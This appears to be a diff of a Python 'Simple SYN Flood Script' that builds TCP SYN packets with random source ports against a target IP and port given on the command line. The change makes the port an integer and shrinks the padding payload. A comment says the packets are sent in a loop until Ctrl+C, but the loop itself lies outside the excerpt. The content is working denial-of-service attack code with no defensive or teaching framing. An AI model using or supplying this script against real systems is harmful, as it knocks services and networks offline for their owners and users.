|
3 | 3 |
|
4 | 4 | parser=argparse.ArgumentParser(description="Simple SYN Flood Script")
|
5 | 5 | parser.add_argument("target_ip",help="Target IP address (e.g router's IP)")
|
6 |
| -parser.add_argument("-p","--port",help="Destination port (the port of the target's machine service,\ |
| 6 | +parser.add_argument("-p","--port",type=int,help="Destination port (the port of the target's machine service,\ |
7 | 7 | e.g 80 for HTTP, 22 for SSH and so on).")
|
8 | 8 | # parse arguments from the command line
|
9 | 9 | args=parser.parse_args()
|
|
20 | 20 | tcp=TCP(sport=RandShort(),dport=target_port,flags="S")
|
21 | 21 | # add some flooding data (1KB in this case, don't increase it too much,
|
22 | 22 | # otherwise, it won't work.)
|
23 |
| -raw=Raw(b"X"*1024) |
| 23 | +raw=Raw(b"X"*2) |
24 | 24 | # stack up the layers
|
25 | 25 | p=ip/tcp/raw
|
26 | 26 | # send the constructed packet in a loop until CTRL+C is detected
|
|